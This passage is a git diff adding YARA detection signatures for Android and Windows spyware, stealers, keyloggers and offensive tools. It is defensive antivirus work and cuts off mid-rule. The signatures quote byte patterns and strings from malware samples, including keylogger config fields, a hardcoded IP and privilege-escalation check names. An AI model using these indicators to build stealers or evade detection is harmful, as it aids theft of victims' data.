"TrojanSpy:AndroidOS/SpyNote.R!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {22 00 08 00 70 10 11 00 00 00 1c 01 1c 00 6e 10 43 00 01 00 0c 01 1a 02 45 00 6e 30 12 00 20 01 1a 01 0a 00 12 12 6e 30 13 00 10 02 12 21 23 11 3a 00 12 03 4d 00 01 03 4d 05 01 02 71 20 36 00 14 00 0e 00 } //1 + $a_01_1 = {22 05 25 00 71 10 48 00 01 00 0c 06 6e 10 10 00 09 00 0c 07 70 30 3d 00 65 07 1a 06 00 00 23 37 3a 00 1a 08 61 00 4d 08 07 00 1a 08 66 00 4d 08 07 04 71 20 46 00 76 00 0c 06 6e 20 44 00 65 00 0c 05 1a 06 71 00 23 47 39 00 1c 08 3a 00 4d 08 07 00 6e 30 42 00 65 07 0c 05 69 05 15 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/Spynote/TrojanSpy_AndroidOS_SpyNote_S_MTB.yar b/TrojanSpy/AndroidOS/Spynote/TrojanSpy_AndroidOS_SpyNote_S_MTB.yar new file mode 100644 index 0000000000..7c78b5ec0f --- /dev/null +++ b/TrojanSpy/AndroidOS/Spynote/TrojanSpy_AndroidOS_SpyNote_S_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_AndroidOS_SpyNote_S_MTB{ + meta: + description = "TrojanSpy:AndroidOS/SpyNote.S!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {22 00 08 00 70 10 11 00 00 00 1c 01 31 00 6e 10 1b 00 01 00 0c 01 1a 02 41 00 6e 30 12 00 20 01 1a 01 06 00 12 12 6e 30 13 00 10 02 12 21 23 11 3a 00 12 03 4d 00 01 03 4d 05 01 02 71 20 4d 00 14 00 0e 00 } //1 + $a_01_1 = {1a 08 7e 00 4d 08 07 00 1a 08 5d 00 4d 08 07 04 71 20 1e 00 76 00 0c 06 6e 20 1c 00 65 00 0c 05 1a 06 68 00 23 47 39 00 1c 08 3a 00 4d 08 07 00 6e 30 1a 00 65 07 0c 05 69 05 0f 00 6e 10 23 00 02 00 0c 02 72 10 24 00 02 00 0a 05 38 05 36 00 72 10 25 00 02 00 0c 05 1f 05 12 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/AndroidOS/Zanubis/TrojanSpy_AndroidOS_Zanubis_D_MTB.yar b/TrojanSpy/AndroidOS/Zanubis/TrojanSpy_AndroidOS_Zanubis_D_MTB.yar new file mode 100644 index 0000000000..163d213d35 --- /dev/null +++ b/TrojanSpy/AndroidOS/Zanubis/TrojanSpy_AndroidOS_Zanubis_D_MTB.yar @@ -0,0 +1,16 @@ + +rule TrojanSpy_AndroidOS_Zanubis_D_MTB{ + meta: + description = "TrojanSpy:AndroidOS/Zanubis.D!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_01_0 = {6e 6f 74 61 72 67 65 74 72 65 6d 6f 76 65 } //1 notargetremove + $a_01_1 = {64 65 73 42 6c 6f 71 75 65 6f 55 70 64 61 74 65 } //1 desBloqueoUpdate + $a_01_2 = {62 6c 6f 71 75 65 6f 41 6c 6c 55 70 64 61 74 65 } //1 bloqueoAllUpdate + $a_01_3 = {73 65 74 74 69 6e 67 73 2e 76 65 72 69 66 79 61 70 70 73 73 65 74 74 69 6e 67 73 61 63 74 69 76 69 74 79 } //1 settings.verifyappssettingsactivity + $a_01_4 = {61 6c 65 72 74 61 72 42 6c 6f 71 75 65 6f } //1 alertarBloqueo + $a_01_5 = {70 6f 69 69 74 79 67 75 6e 73 77 65 77 6e 69 6f 66 6e 74 77 65 69 6f 75 73 64 6e 68 6b 77 71 } //1 poiitygunswewniofntweiousdnhkwq + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_AGR_MTB.yar b/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_AGR_MTB.yar new file mode 100644 index 0000000000..8d85774de5 --- /dev/null +++ b/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_AGR_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanSpy_BAT_Growtopia_AGR_MTB{ + meta: + description = "TrojanSpy:BAT/Growtopia.AGR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {13 16 1f 30 11 14 16 91 59 d2 13 17 00 11 14 13 20 16 13 21 2b 1b 11 20 11 21 91 13 22 11 15 11 17 11 22 58 d2 6f ?? 00 00 0a 00 11 21 17 58 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_ARG_MTB.yar b/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_ARG_MTB.yar new file mode 100644 index 0000000000..67f8910735 --- /dev/null +++ b/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_ARG_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanSpy_BAT_Growtopia_ARG_MTB{ + meta: + description = "TrojanSpy:BAT/Growtopia.ARG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {16 0d 2b 28 00 07 09 06 09 91 72 ?? 00 00 70 09 72 ?? 00 00 70 28 ?? 00 00 0a 5d 28 ?? 00 00 0a 61 d2 9c 00 09 13 04 11 04 17 58 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_ARW_MTB.yar b/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_ARW_MTB.yar new file mode 100644 index 0000000000..ba291323f3 --- /dev/null +++ b/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_ARW_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanSpy_BAT_Growtopia_ARW_MTB{ + meta: + description = "TrojanSpy:BAT/Growtopia.ARW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {03 a2 25 18 72 ?? 03 00 70 a2 25 19 72 ?? 03 00 70 a2 25 1a 72 ?? 03 00 70 a2 25 1b 72 ?? 03 00 70 a2 25 1c 0e 06 a2 25 1d 72 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_AWR_MTB.yar b/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_AWR_MTB.yar new file mode 100644 index 0000000000..78b58b1e06 --- /dev/null +++ b/TrojanSpy/BAT/Growtopia/TrojanSpy_BAT_Growtopia_AWR_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanSpy_BAT_Growtopia_AWR_MTB{ + meta: + description = "TrojanSpy:BAT/Growtopia.AWR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {13 06 16 13 07 2b 1f 11 06 11 07 9a 28 ?? 00 00 0a 13 08 07 11 08 6f ?? 00 00 0a 6f ?? 00 00 0a 11 07 17 d6 13 07 11 07 11 06 8e 69 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SOK_MTB.yar b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SOK_MTB.yar new file mode 100644 index 0000000000..58374c5c96 --- /dev/null +++ b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SOK_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanSpy_BAT_Noon_SOK_MTB{ + meta: + description = "TrojanSpy:BAT/Noon.SOK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 09 11 0b 18 5d 16 fe 01 11 0b 19 5d 16 fe 01 60 2d 03 17 2b 01 16 6a d6 13 09 11 0b 17 d6 13 0b 11 0b } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SPK_MTB.yar b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SPK_MTB.yar new file mode 100644 index 0000000000..2196b78faf --- /dev/null +++ b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SPK_MTB.yar @@ -0,0 +1,23 @@ + +rule TrojanSpy_BAT_Noon_SPK_MTB{ + meta: + description = "TrojanSpy:BAT/Noon.SPK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {07 17 58 0b 00 07 02 7b a8 01 00 04 2f 06 07 19 fe 04 2b 01 16 0c 08 2d d2 } //2 + $a_81_1 = {51 4c 42 48 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 QLBH.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*2) >=4 + +} +rule TrojanSpy_BAT_Noon_SPK_MTB_2{ + meta: + description = "TrojanSpy:BAT/Noon.SPK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {03 11 21 11 22 91 6f 59 00 00 0a 00 72 f1 01 00 70 12 22 28 4e 00 00 0a 28 4f 00 00 0a 13 05 00 11 22 17 58 13 22 11 22 11 1a fe 04 13 23 11 23 2d cd } //2 + $a_01_1 = {53 74 49 76 65 73 4c 69 62 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 StIvesLib.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SQK_MTB.yar b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SQK_MTB.yar new file mode 100644 index 0000000000..d55da20ec6 --- /dev/null +++ b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SQK_MTB.yar @@ -0,0 +1,22 @@ + +rule TrojanSpy_BAT_Noon_SQK_MTB{ + meta: + description = "TrojanSpy:BAT/Noon.SQK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {07 72 09 00 00 70 6f 03 00 00 0a 6f 04 00 00 0a 6f 05 00 00 0a 6f 06 00 00 0a 6f 07 00 00 0a 0a dd 0d 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} +rule TrojanSpy_BAT_Noon_SQK_MTB_2{ + meta: + description = "TrojanSpy:BAT/Noon.SQK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {00 03 11 06 11 0e 91 6f d5 00 00 0a 00 00 11 0e 17 58 13 0e 11 0e 11 07 fe 04 13 0f 11 0f 2d e0 } //2 + $a_01_1 = {47 4d 53 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 GMS.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SRK_MTB.yar b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SRK_MTB.yar new file mode 100644 index 0000000000..bc5b4c9731 --- /dev/null +++ b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SRK_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_BAT_Noon_SRK_MTB{ + meta: + description = "TrojanSpy:BAT/Noon.SRK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {03 11 3f 11 40 91 6f 22 01 00 0a 00 11 14 1d 17 9c 11 0c 11 3f 11 40 91 58 13 0c 00 11 40 17 58 13 40 11 40 11 32 fe 04 13 41 11 41 2d d1 } //2 + $a_01_1 = {51 4c 4e 53 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //2 QLNS.Properties.Resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SSK_MTB.yar b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SSK_MTB.yar new file mode 100644 index 0000000000..64aabe67a5 --- /dev/null +++ b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_SSK_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_BAT_Noon_SSK_MTB{ + meta: + description = "TrojanSpy:BAT/Noon.SSK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {06 03 7b ca 00 00 04 11 11 91 11 11 1e 5a 1f 1f 5f 62 58 0a 00 11 11 17 58 13 11 11 11 03 7b ca 00 00 04 8e 69 1a 28 19 01 00 0a fe 04 13 12 11 12 2d cc } //2 + $a_01_1 = {54 65 74 72 69 73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //2 Tetris.Properties.Resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_STK_MTB.yar b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_STK_MTB.yar new file mode 100644 index 0000000000..2cdc4e9816 --- /dev/null +++ b/TrojanSpy/BAT/Noon/TrojanSpy_BAT_Noon_STK_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_BAT_Noon_STK_MTB{ + meta: + description = "TrojanSpy:BAT/Noon.STK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {02 7b 3a 01 00 04 07 11 05 91 6f b9 03 00 0a 00 00 11 05 17 58 13 05 11 05 06 2f 09 11 05 07 8e 69 fe 04 2b 01 16 13 06 11 06 2d d3 } //2 + $a_01_1 = {41 6e 61 6c 79 7a 65 47 72 61 70 68 69 63 73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 AnalyzeGraphics.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Quasar/TrojanSpy_BAT_Quasar_SQ_MTB.yar b/TrojanSpy/BAT/Quasar/TrojanSpy_BAT_Quasar_SQ_MTB.yar new file mode 100644 index 0000000000..05b840d23c --- /dev/null +++ b/TrojanSpy/BAT/Quasar/TrojanSpy_BAT_Quasar_SQ_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanSpy_BAT_Quasar_SQ_MTB{ + meta: + description = "TrojanSpy:BAT/Quasar.SQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {02 09 11 08 8f 75 00 00 01 25 47 11 04 11 08 58 1f 11 5a 20 00 01 00 00 5d d2 61 d2 52 11 04 1f 1f 5a 09 11 08 91 58 20 00 01 00 00 5d 13 04 11 08 17 58 13 08 11 08 09 8e 69 32 c5 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/Reline/TrojanSpy_BAT_Reline_SK_MTB.yar b/TrojanSpy/BAT/Reline/TrojanSpy_BAT_Reline_SK_MTB.yar new file mode 100644 index 0000000000..c569bd2217 --- /dev/null +++ b/TrojanSpy/BAT/Reline/TrojanSpy_BAT_Reline_SK_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanSpy_BAT_Reline_SK_MTB{ + meta: + description = "TrojanSpy:BAT/Reline.SK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {06 3a 06 00 00 00 28 13 00 00 06 0a 06 39 0a 00 00 00 06 16 06 8e 69 28 04 00 00 0a dd 13 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/BAT/XWorm/TrojanSpy_BAT_XWorm_AOX_MTB.yar b/TrojanSpy/BAT/XWorm/TrojanSpy_BAT_XWorm_AOX_MTB.yar new file mode 100644 index 0000000000..27a31131cb --- /dev/null +++ b/TrojanSpy/BAT/XWorm/TrojanSpy_BAT_XWorm_AOX_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanSpy_BAT_XWorm_AOX_MTB{ + meta: + description = "TrojanSpy:BAT/XWorm.AOX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {13 05 11 05 28 ?? 00 00 0a 13 06 28 ?? 00 00 0a 11 06 6f ?? 00 00 0a 13 07 06 28 ?? 00 00 0a 13 08 28 ?? 00 00 0a 11 08 6f ?? 00 00 0a 13 09 28 ?? 00 00 0a 13 0a 09 28 ?? 00 00 0a 13 0b 19 8d ?? 00 00 01 13 0d 11 0d 16 11 0a a2 11 0d } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/TrojanSpy/Win32/Keylogger/TrojanSpy_Win32_KeyLogger_SM_MTB.yar b/TrojanSpy/Win32/Keylogger/TrojanSpy_Win32_KeyLogger_SM_MTB.yar new file mode 100644 index 0000000000..18d161fa3c --- /dev/null +++ b/TrojanSpy/Win32/Keylogger/TrojanSpy_Win32_KeyLogger_SM_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanSpy_Win32_KeyLogger_SM_MTB{ + meta: + description = "TrojanSpy:Win32/KeyLogger.SM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e } //1 SOFTWARE\Microsoft\Windows NT\CurrentVersion + $a_81_1 = {74 61 73 6b 6b 69 6c 6c 20 2f 69 6d } //1 taskkill /im + $a_81_2 = {61 39 65 77 36 34 6a 73 7a 6a 68 37 30 67 74 39 30 39 63 30 6a 69 39 6c 6e 32 62 6d 31 75 6d 32 37 69 30 30 61 33 68 65 70 6a 31 34 34 65 6d 74 68 74 } //1 a9ew64jszjh70gt909c0ji9ln2bm1um27i00a3hepj144emtht + $a_81_3 = {6f 79 37 6f 65 6c 30 31 34 70 67 78 33 72 6e 6d 67 6f 31 66 6c 6f 79 74 74 34 6f 38 65 67 68 61 70 7a 75 6f 6e 37 30 66 68 72 75 30 6c 6e 6c 73 76 6c } //1 oy7oel014pgx3rnmgo1floytt4o8eghapzuon70fhru0lnlsvl + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/TrojanSpy/Win32/SilentRoute/TrojanSpy_Win32_SilentRoute_A.yar b/TrojanSpy/Win32/SilentRoute/TrojanSpy_Win32_SilentRoute_A.yar new file mode 100644 index 0000000000..d4f2dbc28f --- /dev/null +++ b/TrojanSpy/Win32/SilentRoute/TrojanSpy_Win32_SilentRoute_A.yar @@ -0,0 +1,13 @@ + +rule TrojanSpy_Win32_SilentRoute_A{ + meta: + description = "TrojanSpy:Win32/SilentRoute.A,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_02_0 = {6a 00 37 00 33 00 76 00 67 00 7a 00 65 00 72 00 33 00 39 00 37 00 66 00 79 00 74 00 62 00 7a 00 75 00 6a 00 71 00 6f 00 6e 00 34 00 63 00 78 00 ?? ?? 6b 00 67 00 74 00 75 00 6a 00 34 00 33 00 67 00 68 00 39 00 6a 00 61 00 37 00 66 00 7a 00 7a 00 69 00 62 00 69 00 62 00 35 00 33 00 62 00 } //1 + $a_02_1 = {65 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 20 00 69 00 73 00 20 00 63 00 6c 00 69 00 63 00 6b 00 65 00 64 00 2c 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 ?? ?? 6f 00 6e 00 6e 00 65 00 63 00 74 00 20 00 77 00 69 00 74 00 68 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6f 00 6e 00 20 00 00 } //1 + $a_03_2 = {41 75 74 68 52 ?? 6d 6f 74 65 00 53 54 41 54 68 72 65 61 64 41 74 74 72 69 62 75 74 65 } //1 + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_03_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/TrojanSpy/Win64/FormBook/TrojanSpy_Win64_FormBook_AKO_MTB.yar b/TrojanSpy/Win64/FormBook/TrojanSpy_Win64_FormBook_AKO_MTB.yar new file mode 100644 index 0000000000..42e4c831c2 --- /dev/null +++ b/TrojanSpy/Win64/FormBook/TrojanSpy_Win64_FormBook_AKO_MTB.yar @@ -0,0 +1,16 @@ + +rule TrojanSpy_Win64_FormBook_AKO_MTB{ + meta: + description = "TrojanSpy:Win64/FormBook.AKO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 06 00 00 " + + strings : + $a_01_0 = {42 00 75 00 6e 00 42 00 75 00 62 00 75 00 6e 00 4b 00 4c 00 61 00 67 00 66 00 73 00 77 00 } //3 BunBubunKLagfsw + $a_01_1 = {47 00 6f 00 6c 00 64 00 56 00 65 00 6b 00 52 00 6f 00 67 00 65 00 72 00 53 00 } //4 GoldVekRogerS + $a_01_2 = {31 00 38 00 30 00 2e 00 31 00 37 00 38 00 2e 00 31 00 38 00 39 00 2e 00 31 00 37 00 } //6 180.178.189.17 + $a_01_3 = {47 00 61 00 67 00 69 00 6b 00 4d 00 61 00 72 00 61 00 67 00 75 00 69 00 53 00 53 00 } //5 GagikMaraguiSS + $a_01_4 = {77 00 77 00 77 00 2e 00 69 00 70 00 2d 00 61 00 70 00 69 00 2e 00 63 00 6f 00 6d 00 } //2 www.ip-api.com + $a_01_5 = {6c 00 69 00 6e 00 65 00 2f 00 3f 00 66 00 69 00 65 00 6c 00 64 00 73 00 3d 00 31 00 34 00 37 00 35 00 30 00 35 00 } //1 line/?fields=147505 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*4+(#a_01_2 & 1)*6+(#a_01_3 & 1)*5+(#a_01_4 & 1)*2+(#a_01_5 & 1)*1) >=21 + +} \ No newline at end of file diff --git a/TrojanSpy/Win64/RustyStealer/TrojanSpy_Win64_RustyStealer_B.yar b/TrojanSpy/Win64/RustyStealer/TrojanSpy_Win64_RustyStealer_B.yar new file mode 100644 index 0000000000..2b7959db65 --- /dev/null +++ b/TrojanSpy/Win64/RustyStealer/TrojanSpy_Win64_RustyStealer_B.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_Win64_RustyStealer_B{ + meta: + description = "TrojanSpy:Win64/RustyStealer.B,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {89 c2 c1 ea 08 34 30 80 f2 02 41 80 f0 c4 45 0f b6 c0 } //1 + $a_01_1 = {49 c1 e0 30 0f b6 d2 48 c1 e2 28 4c 09 c2 0f b6 c0 48 c1 e0 20 48 09 d0 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanSpy/Win64/RustyStealer/TrojanSpy_Win64_RustyStealer_C.yar b/TrojanSpy/Win64/RustyStealer/TrojanSpy_Win64_RustyStealer_C.yar new file mode 100644 index 0000000000..472215fcba --- /dev/null +++ b/TrojanSpy/Win64/RustyStealer/TrojanSpy_Win64_RustyStealer_C.yar @@ -0,0 +1,11 @@ + +rule TrojanSpy_Win64_RustyStealer_C{ + meta: + description = "TrojanSpy:Win64/RustyStealer.C,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {43 3a 5c 55 73 65 72 73 5c 6c 75 63 61 6b 5c 44 65 73 6b 74 6f 70 5c 72 75 73 74 2d 63 32 5c 63 6c 69 65 6e 74 5c 6c 69 62 73 5c 6d 65 6d 65 78 65 63 5c 73 72 63 5c 70 65 70 61 72 73 65 72 5c 70 65 2e 72 73 } //1 C:\Users\lucak\Desktop\rust-c2\client\libs\memexec\src\peparser\pe.rs + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/TrojanSpy/Win64/RustyStealer/TrojanSpy_Win64_RustyStealer_D.yar b/TrojanSpy/Win64/RustyStealer/TrojanSpy_Win64_RustyStealer_D.yar new file mode 100644 index 0000000000..d473b1a8a4 --- /dev/null +++ b/TrojanSpy/Win64/RustyStealer/TrojanSpy_Win64_RustyStealer_D.yar @@ -0,0 +1,12 @@ + +rule TrojanSpy_Win64_RustyStealer_D{ + meta: + description = "TrojanSpy:Win64/RustyStealer.D,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_01_0 = {73 65 72 76 65 72 5f 6c 69 73 74 6b 65 65 70 61 6c 69 76 65 5f 74 69 6d 65 69 73 5f 6b 69 6c 6c 65 72 70 65 72 73 69 73 74 65 6e 63 65 5f 69 6e 73 74 61 6c 6c 65 64 65 6e 61 62 6c 65 5f 6b 65 79 6c 6f 67 67 65 72 6b 65 79 6c 6f 67 67 65 72 5f 70 61 74 68 73 74 72 75 63 74 20 43 6f 6e 66 69 67 44 61 74 61 65 6e 63 72 79 70 74 65 64 5f 64 61 74 61 73 74 72 75 63 74 20 43 6f 6e 66 69 67 } //1 server_listkeepalive_timeis_killerpersistence_installedenable_keyloggerkeylogger_pathstruct ConfigDataencrypted_datastruct Config + $a_01_1 = {73 6c 6b 74 69 6b 70 69 70 6b 70 73 74 72 75 63 74 20 43 6f 6e 66 69 67 } //1 slktikpipkpstruct Config + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/TrojanSpy/Win64/Stealer/TrojanSpy_Win64_Stealer_ARA_MTB.yar b/TrojanSpy/Win64/Stealer/TrojanSpy_Win64_Stealer_ARA_MTB.yar new file mode 100644 index 0000000000..91b13c8589 --- /dev/null +++ b/TrojanSpy/Win64/Stealer/TrojanSpy_Win64_Stealer_ARA_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanSpy_Win64_Stealer_ARA_MTB{ + meta: + description = "TrojanSpy:Win64/Stealer.ARA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {0f b6 c8 4d 8b c2 80 e1 07 c0 e1 03 49 d3 e8 46 30 04 08 48 ff c0 48 83 f8 33 72 e4 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/VirTool/BAT/Sharpldr/VirTool_BAT_Sharpldr_A.yar b/VirTool/BAT/Sharpldr/VirTool_BAT_Sharpldr_A.yar new file mode 100644 index 0000000000..8262d24775 --- /dev/null +++ b/VirTool/BAT/Sharpldr/VirTool_BAT_Sharpldr_A.yar @@ -0,0 +1,13 @@ + +rule VirTool_BAT_Sharpldr_A{ + meta: + description = "VirTool:BAT/Sharpldr.A,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {44 65 6d 65 6e 74 6f 72 2e 65 78 65 00 6d 73 63 6f 72 6c 69 62 00 53 75 70 70 72 65 73 73 } //1 敄敭瑮牯攮數洀捳牯楬b畓灰敲獳 + $a_01_1 = {8f e2 81 ae e2 80 8e e2 80 aa e2 80 ab e2 80 8c e2 80 8e e2 80 ac e2 80 8e e2 } //1 + $a_01_2 = {81 ab e2 80 ad e2 81 ae e2 80 ad e2 81 aa e2 80 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/VirTool/BAT/Sharpup/VirTool_BAT_Sharpup_A.yar b/VirTool/BAT/Sharpup/VirTool_BAT_Sharpup_A.yar new file mode 100644 index 0000000000..69dad4314a --- /dev/null +++ b/VirTool/BAT/Sharpup/VirTool_BAT_Sharpup_A.yar @@ -0,0 +1,16 @@ + +rule VirTool_BAT_Sharpup_A{ + meta: + description = "VirTool:BAT/Sharpup.A,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {48 69 6a 61 63 6b 61 62 6c 65 50 61 74 68 73 } //1 HijackablePaths + $a_81_1 = {50 72 69 76 65 73 63 43 68 65 63 6b 73 } //1 PrivescChecks + $a_81_2 = {76 75 6c 6e 65 72 